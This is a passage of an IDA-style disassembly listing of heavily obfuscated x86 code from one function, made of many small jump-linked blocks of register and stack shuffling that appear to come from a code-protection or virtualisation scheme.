loc_59E9CD:				; CODE XREF: sub_58A891+249DBj
		neg	ebx
		sub	ebx, 79DA82C3h
		jmp	loc_59C7C0
; ---------------------------------------------------------------------------


loc_59E9DA:				; CODE XREF: sub_58A891+1F804j
		mov	ecx, 4
		sub	edx, 5A381992h
		jmp	loc_59E39D
; ---------------------------------------------------------------------------


loc_59E9EA:				; CODE XREF: sub_58A891+19C71j
		mov	[esp+0A8h+var_AA+2], ecx
		push	eax
		mov	eax, 5FD02166h
		push	ebx
		mov	ebx, 39007009h
		not	ebx
		add	ebx, 1
		xor	ebx, 5779000Dh
		jmp	loc_5A22CF
; ---------------------------------------------------------------------------


loc_59EA0C:				; CODE XREF: sub_58A891+1337Aj
		inc	ebp
		neg	ebp
		shl	ebp, 2
		add	ebp, 53E586Fh
		mov	ebx, ebp
		jmp	loc_5B27D3
; ---------------------------------------------------------------------------


loc_59EA1F:				; CODE XREF: sub_58A891+22E2Fj
		add	esp, 4
		push	eax
		inc	[esp+36h+var_38+2]
		pop	eax
		xor	eax, 25E6CC5h
		jmp	loc_5AA2CD
; ---------------------------------------------------------------------------


loc_59EA34:				; CODE XREF: sub_58A891+18EDFj
		mov	eax, [esp+32h+var_34+2]
		jmp	loc_5A2C3E
; ---------------------------------------------------------------------------


loc_59EA3C:				; CODE XREF: sub_58A891+2617Ej
		sub	esp, 4
		push	esp
		pop	[esp+3Ah+var_3C+2]
		add	[esp+36h+var_38+2], 4
		pop	eax
		jmp	loc_5A9747
; ---------------------------------------------------------------------------


loc_59EA50:				; CODE XREF: sub_58A891+12F03j
		sub	ecx, 35692F62h
		jle	loc_5AC2CF
		and	ecx, 5D2540C9h
		jmp	loc_5B2D84
; ---------------------------------------------------------------------------


loc_59EA67:				; CODE XREF: sub_58A891+16F45j
		mov	edx, [esp+0A8h+var_AA+2]
		add	esp, 4
		jmp	loc_5A1F5A
; ---------------------------------------------------------------------------


loc_59EA75:				; CODE XREF: sub_58A891+1BBF5j
		or	eax, eax
		jz	loc_5A8B44
		push	dword ptr [edi+1Ch]
		jmp	loc_5AFDA4
; ---------------------------------------------------------------------------


loc_59EA85:				; CODE XREF: sub_58A891+27127j
		dec	ecx
		jmp	loc_5A318B
; ---------------------------------------------------------------------------


loc_59EA8B:				; CODE XREF: sub_58A891+1238Bj
		xchg	ebx, ebp
		xchg	ebp, esi
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		jmp	loc_5A9BC6
; ---------------------------------------------------------------------------


loc_59EA9A:				; CODE XREF: sub_58A891+12A91j
		add	edx, 1A2831D9h
		push	ebx
		mov	ebx, 36705C7Fh
		neg	ebx
		shr	ebx, 7
		inc	ebx
		jmp	loc_5AF06C
; ---------------------------------------------------------------------------


loc_59EAB1:				; CODE XREF: sub_58A891+25CB8j
		add	ch, 9Ah
		jb	loc_59FC6C
		or	ch, 0Ch
		jp	loc_5A5BFE
		jmp	loc_5AC13B
; ---------------------------------------------------------------------------


loc_59EAC8:				; CODE XREF: sub_58A891+19811j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59EACD:				; CODE XREF: sub_58A891+1B511j
		add	eax, edi
		pop	edi
		push	ebp
		push	esi
		mov	esi, 49885B6Fh
		jmp	loc_5A8EA2
; ---------------------------------------------------------------------------


loc_59EADC:				; CODE XREF: sub_58A891+21DA2j
		push	[esp+1Eh+var_20+2]
		mov	edx, [esp+22h+var_24+2]
		push	65DBh
		mov	[esp+26h+var_28+2], ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	765306ADh
		mov	esi, [esp+32h+var_34+2]
		jmp	loc_59CCCC
; ---------------------------------------------------------------------------


loc_59EAFB:				; CODE XREF: sub_58A891+20CE5j
					; sub_58A891+27113j
		sub	ebx, 15D1650h
		sub	ebx, edx
		push	0CDFh
		mov	[esp+36h+var_38+2], esi
		mov	esi, 626E6883h
		jmp	loc_5AFDE2
; ---------------------------------------------------------------------------


loc_59EB15:				; CODE XREF: sub_58A891+24A04j
		pop	[esp+36h+var_38+2]
		pop	esp
		mov	[esp+2Eh+var_30+2], eax
		jmp	loc_5A2A5A
; ---------------------------------------------------------------------------


loc_59EB21:				; CODE XREF: sub_58A891+1D007j
		add	edx, 4
		sub	edx, 4
		jmp	loc_5A7ABF
; ---------------------------------------------------------------------------


loc_59EB32:				; CODE XREF: sub_58A891+1293Fj
		mov	edx, esp
		jmp	loc_59C8A8
; ---------------------------------------------------------------------------


loc_59EB39:				; CODE XREF: sub_58A891+1DB75j
		mov	ecx, [esp+0A2h+var_A2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0A6h+var_A6]
		jmp	loc_5A4A5D
; ---------------------------------------------------------------------------


loc_59EB53:				; CODE XREF: sub_58A891:loc_59CC36j
					; sub_58A891+21642j
		pop	ebp
		or	edx, 7E2533E3h
		push	ecx
		mov	ecx, 49731646h
		add	edx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 41A56F9h
		and	ebp, 66013446h
		sub	ebp, 0F8A8F4AEh
		or	edx, ebp
		pop	ebp
		add	edx, 34886043h
		add	ecx, edx
		mov	edx, [esp+96h+var_98+2]
		add	esp, 4
		xor	ecx, [esp+92h+var_94+2]
		xor	[esp+92h+var_94+2], ecx
		xor	ecx, [esp+92h+var_94+2]
		mov	esp, [esp+92h+var_94+2]
		xor	word ptr [esp+92h+var_94+2], ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59EB9F:				; CODE XREF: sub_58A891+1EDCEj
		pop	edx
		xor	al, bh
		mov	bx, word ptr [esp+92h+var_94+2]
		push	ebx
		jmp	loc_5AD32D
; ---------------------------------------------------------------------------


loc_59EBAC:				; CODE XREF: sub_58A891+2744Fj
		not	edx
		xchg	edx, [esp+96h+var_98+2]
		jmp	loc_5ABC77
; ---------------------------------------------------------------------------


loc_59EBB6:				; CODE XREF: sub_58A891+1F7CAj
		pop	edi
		add	esp, 4
		jmp	loc_59EBC7
; ---------------------------------------------------------------------------


loc_59EBBF:				; CODE XREF: sub_58A891+11B62j
					; sub_58A891+2824Bj
		xor	eax, [esp+6+var_8+2]
		jmp	loc_5A461E
; ---------------------------------------------------------------------------


loc_59EBC7:				; CODE XREF: sub_58A891+14329j
		xor	ecx, [esp+8Eh+var_90+2]
		xor	[esp+8Eh+var_90+2], ecx
		jmp	loc_5A7CC4
; ---------------------------------------------------------------------------


loc_59EBD2:				; CODE XREF: sub_58A891+211F5j
		inc	esi
		add	esi, 759F7B12h
		xor	esi, 28EF3FBCh
		jmp	loc_5A5AF7
; ---------------------------------------------------------------------------


loc_59EBE4:				; CODE XREF: sub_58A891+1C45Cj
					; sub_58A891+1F466j
		pop	edi
		jmp	loc_5AE06F
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+8Ah+var_8C+2]
		sub	esp, 4
		jmp	loc_5A2436
; ---------------------------------------------------------------------------


loc_59EBF9:				; CODE XREF: sub_58A891+17019j
		push	[esp+8Eh+var_8C+2]
		mov	ebp, [esp+92h+var_94+2]
		jmp	loc_5A2EF2
; ---------------------------------------------------------------------------


loc_59EC05:				; CODE XREF: sub_58A891+21555j
		pop	esi
		jmp	loc_59CC95
; ---------------------------------------------------------------------------


loc_59EC0B:				; CODE XREF: sub_58A891+21DBFj
		mov	edx, 8CBF8582h
		add	ebp, edx
		pop	edx
		push	esi
		mov	esi, 3C942089h
		shl	esi, 7
		shl	esi, 1
		jmp	loc_59D7E0
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+8Eh+var_90+2]
		push	418Eh
		jmp	loc_5A5B3C
; ---------------------------------------------------------------------------


loc_59EC31:				; CODE XREF: sub_58A891:loc_5B2E9Dj
		not	ebp
		sub	ebp, 0EE4DFEF4h
		dec	ebp
		add	ebp, 632043F9h
		push	edi
		mov	edi, 3E843019h
		jmp	loc_5B2E7D
; ---------------------------------------------------------------------------


loc_59EC4B:				; CODE XREF: sub_58A891+1A6CFj
		add	eax, 4
		push	7BFh
		mov	[esp+0], ebp
		sub	esp, 4
		mov	[esp+9Eh+var_9E], ecx
		mov	ecx, 396055Ah
		mov	ebp, 0FC69FAAAh
		add	ebp, ecx
		pop	ecx
		sub	eax, ebp
		push	dword ptr [esp+0]
		pop	ebp
		add	esp, 4
		xchg	eax, [esp+96h+var_98+2]
		mov	esp, [esp+96h+var_98+2]
		jmp	loc_5A37AF
; ---------------------------------------------------------------------------


loc_59EC85:				; CODE XREF: sub_58A891+198FEj
		xchg	eax, ebp
		jmp	loc_5A6DF6
; ---------------------------------------------------------------------------


loc_59EC8B:				; CODE XREF: sub_58A891+214A1j
		add	ebp, 3B50529Eh
		sub	ebp, 0F4AC2C05h
		push	edx
		jmp	loc_5AE04C
; ---------------------------------------------------------------------------


loc_59EC9D:				; CODE XREF: sub_58A891+16D6Ej
		mov	esp, [esp+0]
		mov	[esp+0], edx
		jmp	loc_5ABEDF
; ---------------------------------------------------------------------------


loc_59ECA8:				; CODE XREF: sub_58A891+1C0E1j
		mov	[esp+0], eax
		mov	eax, edi
		jmp	loc_59EE71
; ---------------------------------------------------------------------------


loc_59ECB2:				; CODE XREF: sub_58A891+28154j
		add	edx, 4
		jmp	loc_5A1E60
; ---------------------------------------------------------------------------


loc_59ECBD:				; CODE XREF: sub_58A891+205DBj
		add	ebx, edx
		push	eax
		sub	esp, 4
		mov	[esp+0A2h+var_A2], ebx
		mov	ebx, 548A097Bh
		mov	eax, ebx
		pop	ebx
		push	esi
		jmp	loc_5AC4BB
; ---------------------------------------------------------------------------


loc_59ECD4:				; CODE XREF: sub_58A891+26CD9j
		push	ecx
		mov	ecx, 7B567CE1h
		dec	ecx
		push	edi
		jmp	loc_5AC0AB
; ---------------------------------------------------------------------------


loc_59ECE1:				; CODE XREF: sub_58A891+1F00Ej
		mov	dx, 1
		add	bp, dx
		jmp	loc_59DBAC
; ---------------------------------------------------------------------------


loc_59ECED:				; CODE XREF: sub_58A891+1ADECj
		pop	ecx
		add	esp, 4
		pop	[esp+0A2h+var_A2]
		xor	ecx, edx
		jmp	loc_5B24D7
; ---------------------------------------------------------------------------


loc_59ECFB:				; CODE XREF: sub_58A891+18E01j
		shr	ecx, 3
		push	edi
		mov	edi, 36946F50h
		jmp	loc_5A0AB5
; ---------------------------------------------------------------------------


loc_59ED09:				; CODE XREF: sub_58A891+25451j
		xchg	edi, [esp+0A2h+var_A2]
		pop	esp
		jmp	loc_5A5567
; ---------------------------------------------------------------------------


loc_59ED12:				; CODE XREF: sub_58A891+220FEj
		pop	ebx
		xor	al, dl
		mov	dx, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 2
		jmp	loc_5A001C
; ---------------------------------------------------------------------------


loc_59ED2D:				; CODE XREF: sub_58A891+2294Cj
		add	eax, 22335F93h
		add	eax, ebp
		push	ebp
		jmp	loc_5A2E70
; ---------------------------------------------------------------------------


loc_59ED3A:				; CODE XREF: sub_58A891+160F1j
					; sub_58A891:loc_5A8FF6j
		add	esp, 4
		add	esp, 4
		xor	edi, 54537D03h
		mov	ecx, [esp+9Eh+var_9E]
		add	esp, 4
		add	eax, edi
		mov	edi, [esp+0]
		add	esp, 4
		jmp	loc_5AA8F9
; ---------------------------------------------------------------------------


loc_59ED5F:				; CODE XREF: sub_58A891+229CBj
		xor	edx, 0C3147DAAh
		sub	edi, edx
		jmp	loc_5A0155
; ---------------------------------------------------------------------------


loc_59ED6C:				; CODE XREF: sub_58A891+17AC2j
		or	bh, 6
		jmp	loc_5B235F
; ---------------------------------------------------------------------------


loc_59ED74:				; CODE XREF: sub_58A891+222A4j
		xor	edx, esi
		pop	esi
		mov	eax, [esp+92h+var_94+2]
		add	esp, 4
		sub	eax, edx
		push	[esp+8Eh+var_90+2]
		pop	edx
		add	esp, 4
		xchg	eax, [esp+8Ah+var_8C+2]
		pop	esp
		mov	word ptr [esp+86h+var_88+2], dx
		push	ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59ED96:				; CODE XREF: sub_58A891+1FEF3j
		pop	[esp+8Ch+var_8C]
		pop	esp
		jmp	loc_5A6984
; ---------------------------------------------------------------------------


loc_59ED9F:				; CODE XREF: sub_58A891+196BAj
		mov	word ptr [esp+84h+var_84], ax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59EDA8:				; CODE XREF: sub_58A891+160CCj
		mov	edi, 56A84569h
		push	ebp
		mov	ebp, 432E6816h
		shl	ebp, 7
		sub	ebp, 5E50DD7Dh
		jmp	loc_59FD4B
; ---------------------------------------------------------------------------


loc_59EDC1:				; CODE XREF: sub_58A891+25124j
		shr	ebx, 2
		jmp	loc_5AA44A
; ---------------------------------------------------------------------------


loc_59EDC9:				; CODE XREF: sub_58A891+26E4Dj
		push	5530h
		mov	[esp+8Ch+var_8C], edx
		mov	dh, 0D2h
		sub	dh, 2Bh
		jns	loc_5A32F2
		push	ebx
		jmp	loc_5A234F
; ---------------------------------------------------------------------------


loc_59EDE2:				; CODE XREF: sub_58A891+20C3Cj
		add	al, cl
		jmp	loc_59CF0C
; ---------------------------------------------------------------------------


loc_59EDE9:				; CODE XREF: sub_58A891+22FE2j
		push	[esp+90h+var_90]
		pop	ecx
		push	1AEFh
		mov	[esp+94h+var_94], edi
		mov	edi, esp
		push	eax
		jmp	loc_5B0984
; ---------------------------------------------------------------------------


loc_59EDFD:				; CODE XREF: sub_58A891+16DDDj
		add	edx, 20187ACAh
		not	edx
		inc	edx
		push	ecx
		jmp	loc_5AF84A
; ---------------------------------------------------------------------------


loc_59EE0C:				; CODE XREF: sub_58A891+13913j
		add	ecx, 617F7792h
		jns	loc_5AA36E
		dec	ecx
		xor	ecx, 6ED7378h
		mov	ah, ah
		push	edi


loc_59EE22:				; CODE XREF: sub_58A891+27072j
		xchg	ebx, [esp+3Eh+var_40+2]
		pop	esp
		shr	ecx, 0Ah
		push	59A4h
		mov	[esp+3Eh+var_40+2], edi
		mov	edi, ebx
		mov	eax, edi
		push	[esp+3Eh+var_40+2]
		mov	edi, [esp+42h+var_44+2]
		jmp	loc_5A055D
; ---------------------------------------------------------------------------


loc_59EE40:				; CODE XREF: sub_58A891+1F342j
		xor	eax, 3C9BCE26h
		add	edi, eax
		jmp	loc_5A9FC2
; ---------------------------------------------------------------------------


loc_59EE4C:				; CODE XREF: sub_58A891+16069j
		inc	ebx
		shl	ebx, 6
		add	ebx, 0CC356CE5h
		jmp	loc_5B156F
; ---------------------------------------------------------------------------


loc_59EE5B:				; CODE XREF: sub_58A891+20ED0j
		pop	eax
		pop	ebx
		jmp	loc_5A9377
; ---------------------------------------------------------------------------


loc_59EE62:				; CODE XREF: sub_58A891+19D5Bj
		push	[esp+3Ah+var_3C+2]
		pop	eax
		jmp	loc_5A889B
; ---------------------------------------------------------------------------


loc_59EE6B:				; CODE XREF: sub_58A891:loc_59DAFBj
		dec	ebx
		jmp	loc_5A318B
; ---------------------------------------------------------------------------


loc_59EE71:				; CODE XREF: sub_58A891+1441Cj
		mov	edx, eax
		pop	eax
		pop	edi
		jmp	loc_5A6AE8
; ---------------------------------------------------------------------------


loc_59EE7A:				; CODE XREF: sub_58A891+21A20j
		add	ecx, 3EC8538Fh
		add	ecx, edx
		sub	ecx, 3EC8538Fh
		jmp	loc_59CF9E
; ---------------------------------------------------------------------------


loc_59EE8D:				; CODE XREF: sub_58A891+1C44Cj
		mov	[esp+92h+var_94+2], eax
		push	[esp+92h+var_90+2]
		pop	eax
		pop	[esp+92h+var_94+2]
		jmp	loc_5A0863
; ---------------------------------------------------------------------------


loc_59EE9D:				; CODE XREF: sub_58A891+22B6Aj
		mov	[esp+8Eh+var_90+2], ecx
		jmp	loc_5A69DC
; ---------------------------------------------------------------------------


loc_59EEA5:				; CODE XREF: sub_58A891+23EF6j
		mov	edx, 4
		push	edi
		mov	edi, 2F4639DDh
		shr	edi, 6
		xor	edi, 61F15F54h
		sub	ecx, edi
		pop	edi
		add	ecx, edx
		add	ecx, 614C47B3h
		push	[esp+8Eh+var_90+2]
		mov	edx, [esp+92h+var_94+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5AE0C2
; ---------------------------------------------------------------------------


loc_59EEDB:				; CODE XREF: sub_58A891+264EDj
		xchg	ebp, [esp+96h+var_98+2]
		pop	esp
		add	esi, 4
		sub	esp, 4
		mov	[esp+96h+var_98+2], esi
		push	[esp+96h+var_94+2]
		mov	esi, [esp+0]
		jmp	loc_5B0F80
; ---------------------------------------------------------------------------


loc_59EEFA:				; CODE XREF: sub_58A891+27CCAj
		mov	esi, 15D93A53h
		not	esi
		inc	esi
		push	edi
		mov	edi, 74DD3630h
		shr	edi, 4
		not	edi
		push	eax
		jmp	loc_5B1B0F
; ---------------------------------------------------------------------------


loc_59EF13:				; CODE XREF: sub_58A891+1DFC1j
		xchg	ebx, [esp+0A2h+var_A2]
		pop	esp
		mov	[esp+9Eh+var_9E], eax
		push	esp
		pop	eax
		jmp	loc_5AA79D
; ---------------------------------------------------------------------------


loc_59EF21:				; CODE XREF: sub_58A891+27040j
		add	esi, ecx
		push	[esp+9Eh+var_9E]
		jmp	loc_5AED75
; ---------------------------------------------------------------------------


loc_59EF2B:				; CODE XREF: sub_58A891+1BB81j
		mov	ebx, 4D9353D9h
		push	eax
		jmp	loc_5A1301
; ---------------------------------------------------------------------------


loc_59EF36:				; CODE XREF: sub_58A891+1A5DCj
		inc	esi
		add	esi, 26A3210Eh
		jmp	loc_5AD41D
; ---------------------------------------------------------------------------


loc_59EF42:				; CODE XREF: sub_58A891+172CBj
		mov	[esp+0A6h+var_A6], edi
		mov	edi, 1BD41C0Ch
		jmp	loc_5AE69D
; ---------------------------------------------------------------------------


loc_59EF4F:				; CODE XREF: sub_58A891+1F671j
					; sub_58A891+22DCEj
		push	ebx
		xor	[esp+0AAh+var_AA], 37BE65E1h
		mov	edx, [esp+0AAh+var_AA]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0AEh+var_AE]
		pop	esp
		push	1B52h
		mov	[esp+0AEh+var_AE], ecx
		mov	ecx, 37BE65E1h
		jmp	loc_59D443
; ---------------------------------------------------------------------------


loc_59EF7C:				; CODE XREF: sub_58A891+1B011j
		push	714B2B56h
		pop	edx
		add	ecx, 332E1278h
		jmp	loc_5A1518
; ---------------------------------------------------------------------------


loc_59EF8D:				; CODE XREF: sub_58A891+28477j
		add	bl, al
		jmp	loc_5AA170
; ---------------------------------------------------------------------------


loc_59EF94:				; CODE XREF: sub_58A891+1BE54j
		mov	esi, 5563730h
		jmp	loc_5A5B51
; ---------------------------------------------------------------------------


loc_59EF9E:				; CODE XREF: sub_58A891+23C63j
		sub	esi, 1E76EE79h
		jmp	loc_5AE2F6
; ---------------------------------------------------------------------------


loc_59EFA9:				; CODE XREF: sub_58A891:loc_5A23EBj
		inc	edi
		jz	loc_5B1A23
		add	edi, 1
		sub	edi, 9AD1F9BEh
		sub	esp, 4
		mov	[esp+0B2h+var_B2], esi
		mov	esi, edi
		jmp	loc_5B1180
; ---------------------------------------------------------------------------


loc_59EFC9:				; CODE XREF: sub_58A891+22FA1j
		mov	[esp+0B2h+var_B2], edx
		push	eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------
		push	[esp+0BAh+var_BA]
		push	[esp+0BEh+var_BE]
		push	[esp+0C2h+var_C2]
		pop	ecx
		jmp	loc_5A3FBE
; ---------------------------------------------------------------------------


loc_59EFE2:				; CODE XREF: sub_58A891+157A9j
		sub	esp, 4
		mov	[esp+0C6h+var_C6], ebx
		mov	ebx, 4040A592h
		push	6D74h
		mov	[esp+0CAh+var_CA], esi
		jmp	loc_5A893A
; ---------------------------------------------------------------------------


loc_59EFFD:				; CODE XREF: sub_58A891+232C5j
		add	esp, 4
		xchg	eax, ebx
		push	1CFBh
		mov	[esp+0CAh+var_CA], ebp
		push	edi
		push	12E82CD9h
		pop	edi
		jmp	loc_5A296E
; ---------------------------------------------------------------------------


loc_59F018:				; CODE XREF: sub_58A891+19FCBj
		pop	ebx
		inc	ebx
		sub	esp, 4
		mov	[esp+0CEh+var_CE], ecx
		mov	ecx, 2CBE0763h
		jmp	loc_59D1ED
; ---------------------------------------------------------------------------


loc_59F02D:				; CODE XREF: sub_58A891+2479Cj
		push	[esp+0CEh+var_CE]
		pop	esi
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		push	esi
		push	ebp
		mov	ebp, 6CD84D5Dh
		mov	esi, 2D07105Eh
		xor	esi, 0F68E727Ah
		sub	esi, ebp
		jmp	loc_5AD0B8
; ---------------------------------------------------------------------------


loc_59F054:				; CODE XREF: sub_58A891+17AA0j
		pop	ebp
		pop	[esp+0DAh+var_DA]
		pop	esp
		jmp	loc_5A0418
; ---------------------------------------------------------------------------


loc_59F05E:				; CODE XREF: sub_58A891+21A39j
		add	esp, 4
		inc	dh
		sub	dh, 7Ch
		sub	al, 8Eh
		add	al, dh
		add	al, 8Eh
		pop	edx
		sub	esp, 4
		mov	[esp+0CEh+var_CE], ecx
		mov	ch, 83h
		shl	ch, 3
		push	ebx
		mov	bl, 99h
		jmp	loc_59C546
; ---------------------------------------------------------------------------


loc_59F080:				; CODE XREF: sub_58A891+270B2j
		add	eax, ebx
		pop	ebx
		jmp	loc_5A0EDB
; ---------------------------------------------------------------------------


loc_59F088:				; CODE XREF: sub_58A891+18C52j
		sub	esp, 4
		mov	[esp+0D2h+var_D2], edx
		jmp	loc_5AE9AE
; ---------------------------------------------------------------------------


loc_59F096:				; CODE XREF: sub_58A891+1A6DCj
		push	eax
		push	esp
		jmp	loc_5A7B73
; ---------------------------------------------------------------------------


loc_59F09D:				; CODE XREF: sub_58A891+1B6E0j
		mov	eax, 6E83624Dh
		push	ecx
		mov	ecx, 4A3769BEh
		add	eax, 256252E9h
		jmp	loc_5B11D0
; ---------------------------------------------------------------------------


loc_59F0B2:				; CODE XREF: sub_58A891:loc_5A548Aj
		xor	esi, 4D83105Dh
		jnz	loc_5B03EB
		add	esi, 0C42D5E72h
		jmp	loc_5A2638
; ---------------------------------------------------------------------------
		push	esp
		mov	ah, bh


loc_59F0CC:				; CODE XREF: sub_58A891:loc_5AD024j
		add	ebx, 8240B089h
		sub	esp, 4
		mov	[esp+0E6h+var_E8+2], ecx
		mov	ecx, 4B9922B1h
		dec	ecx
		jmp	loc_5A3D48
; ---------------------------------------------------------------------------


loc_59F0E6:				; CODE XREF: sub_58A891+17B03j
		push	esp
		pop	ebx
		push	0C3Ah
		mov	[esp+0EAh+var_EC+2], edi
		mov	edi, 7A1D140Ah
		xor	edi, 7A1D140Eh
		add	ebx, 489A1EA6h
		add	ebx, edi
		sub	ebx, 489A1EA6h
		mov	edi, [esp+0EAh+var_EC+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0EEh+var_F0+2]
		pop	esp
		push	8D4h
		mov	[esp+0EEh+var_F0+2], edi
		mov	edi, 14021E8Eh
		push	ecx
		mov	ecx, 0
		sub	ecx, edi
		mov	edi, ecx
		mov	ecx, [esp+0F2h+var_F4+2]
		add	esp, 4
		jmp	loc_5AE0CB
; ---------------------------------------------------------------------------


loc_59F144:				; CODE XREF: sub_58A891+20F4Bj
		mov	edi, esp
		jmp	loc_5A7050
; ---------------------------------------------------------------------------


loc_59F14B:				; CODE XREF: sub_58A891+1E406j
		mov	esi, 693C54D5h
		xor	edi, esi
		pop	esi
		xor	edi, 6534E29Fh
		xor	edx, edi
		pop	edi
		jmp	loc_5A97FE
; ---------------------------------------------------------------------------


loc_59F161:				; CODE XREF: sub_58A891+23C7Cj
		mov	ecx, [esp+0E6h+var_E8+2]
		push	7E61h
		mov	[esp+0EAh+var_EC+2], edi
		mov	edi, esp
		push	762h
		mov	[esp+0EEh+var_F0+2], esi
		jmp	loc_5A8D29
; ---------------------------------------------------------------------------


loc_59F17B:				; CODE XREF: sub_58A891+22346j
		mov	[esp+0EEh+var_F0+2], esi
		push	[esp+0EEh+var_EC+2]
		pop	esi
		pop	[esp+0EEh+var_F0+2]
		jmp	loc_5A0846
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 3B3900D9h
		push	0FA1h
		jmp	loc_5A40A7
; ---------------------------------------------------------------------------


loc_59F19B:				; CODE XREF: sub_58A891:loc_5A1A18j
		xor	eax, 0A27457A9h
		mov	ebp, eax
		pop	eax
		or	ebp, 7D097847h
		or	ebp, 74AA261Bh
		sub	ebp, 0FFFFFFFFh
		xor	ebp, 317D1861h
		jmp	loc_5AF996
; ---------------------------------------------------------------------------


loc_59F1C0:				; CODE XREF: sub_58A891+26849j
		inc	edx
		sub	edx, 7AC02D8Bh
		sub	eax, edx
		pop	edx
		pop	esi
		xor	eax, [esp+0E2h+var_E2]
		xor	[esp+0E2h+var_E2], eax
		jmp	loc_5A466D
; ---------------------------------------------------------------------------


loc_59F1D6:				; CODE XREF: sub_58A891+18DDCj
		mov	edi, 2FF77250h
		mov	ebp, edi
		pop	edi
		push	edx
		push	71F711A0h
		jmp	loc_5A2F3C
; ---------------------------------------------------------------------------


loc_59F1E9:				; CODE XREF: sub_58A891+20DE9j
		mov	edi, 3B9E7553h
		add	[esp+0E6h+var_E2], edi
		pop	edi
		jmp	loc_5A9A29
; ---------------------------------------------------------------------------


loc_59F1F8:				; CODE XREF: sub_58A891+1531Aj
		xor	edi, [esp+0E2h+var_E2]
		xor	[esp+0E2h+var_E2], edi
		jmp	loc_5AD718
; ---------------------------------------------------------------------------


loc_59F203:				; CODE XREF: sub_58A891+1A176j
					; sub_58A891:loc_5A7943j
		push	[esp+0E2h+var_E2]
		mov	esi, [esp+0E6h+var_E8+2]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0E6h+var_E8+2]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0E6h+var_E8+2]
		jmp	loc_5ACE1C
; ---------------------------------------------------------------------------


loc_59F231:				; CODE XREF: sub_58A891+18317j
		push	ebp
		mov	ebp, 29193C4Ah
		xor	ebp, 122663D5h
		or	esi, ebp
		pop	ebp
		or	esi, 368B2BB7h
		jo	loc_5AF6EC
		push	edi
		mov	edi, 80008045h
		add	esi, edi
		pop	edi
		add	ecx, 328A0793h
		sub	ecx, 1247349Dh
		jmp	loc_5AFD0F
; ---------------------------------------------------------------------------


loc_59F266:				; CODE XREF: sub_58A891+15D1Bj
		or	di, 59A8h
		jz	loc_5A8BAB
		jmp	loc_5AD086
; ---------------------------------------------------------------------------


loc_59F276:				; CODE XREF: sub_58A891+1EDEDj
		sub	edi, 0D84BB7E6h
		jmp	loc_5A2963
; ---------------------------------------------------------------------------


loc_59F281:				; CODE XREF: sub_58A891+2442Cj
		mov	eax, 671401E9h
		xor	ebx, eax
		jmp	loc_5AAD97
; ---------------------------------------------------------------------------


loc_59F28D:				; CODE XREF: sub_58A891+187CEj
		add	edi, 6DF1563Dh
		mov	edx, edi
		mov	edi, [esp+0E6h+var_E8+2]
		push	eax
		mov	eax, esp
		jmp	loc_5A3697
; ---------------------------------------------------------------------------


loc_59F2A0:				; CODE XREF: sub_58A891+232E1j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0EAh+var_EC+2]
		jmp	loc_5A8D98
; ---------------------------------------------------------------------------


loc_59F2B3:				; CODE XREF: sub_58A891+1BFEBj
					; sub_58A891+1F06Aj
		push	ecx
		mov	ecx, 3D6C18BAh
		inc	ecx
		push	edi
		mov	edi, 1C374BE7h
		xchg	ebp, edi
		not	ebp
		xchg	ebp, edi
		xor	edi, 0AC3A509h
		add	ecx, edi
		jmp	loc_5AF48B
; ---------------------------------------------------------------------------


loc_59F2D3:				; CODE XREF: sub_58A891+14C31j
		mov	eax, [esp+0F2h+var_F4+2]
		add	esp, 4
		xor	ebx, [esp+0EEh+var_F0+2]
		xor	[esp+0EEh+var_F0+2], ebx
		xor	ebx, [esp+0EEh+var_F0+2]
		mov	esp, [esp+0EEh+var_F0+2]
		idiv	ecx
		push	4649h
		mov	[esp+0F2h+var_F4+2], ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 4
		sub	ebp, 0F760E71h
		add	ebp, esi
		jmp	loc_5AA5F9
; ---------------------------------------------------------------------------


loc_59F304:				; CODE XREF: sub_58A891+2594Ej
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 383511C8h
		add	ebp, 479C4EDAh
		jbe	loc_5A46EA
		or	ebp, 7C49172Bh
		jmp	loc_59C0E8
; ---------------------------------------------------------------------------


loc_59F328:				; CODE XREF: sub_58A891+20F15j
		push	edx
		mov	dl, bh
		push	ecx
		mov	ch, dl
		mov	ah, ch
		pop	ecx
		jmp	loc_5ACA77
; ---------------------------------------------------------------------------


loc_59F336:				; CODE XREF: sub_58A891+23972j
		push	edi
		mov	edi, 28296DCBh
		push	ecx
		mov	ecx, 0FF302FAAh
		sub	edi, ecx
		mov	ecx, [esp+106h+var_108+2]
		add	esp, 4
		add	edi, 75F6416Ah
		xor	edi, 0CDA747FDh
		jmp	loc_5A19E2
; ---------------------------------------------------------------------------


loc_59F35B:				; CODE XREF: sub_58A891+11DB0j
		push	5C6301B0h
		jmp	loc_5A5263
; ---------------------------------------------------------------------------


loc_59F365:				; CODE XREF: sub_58A891+25FC5j
		mov	eax, esp
		add	eax, 4
		jmp	loc_5AB77A
; ---------------------------------------------------------------------------


loc_59F371:				; CODE XREF: sub_58A891+236D3j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+6Eh+var_70+2]
		jmp	loc_5A778C
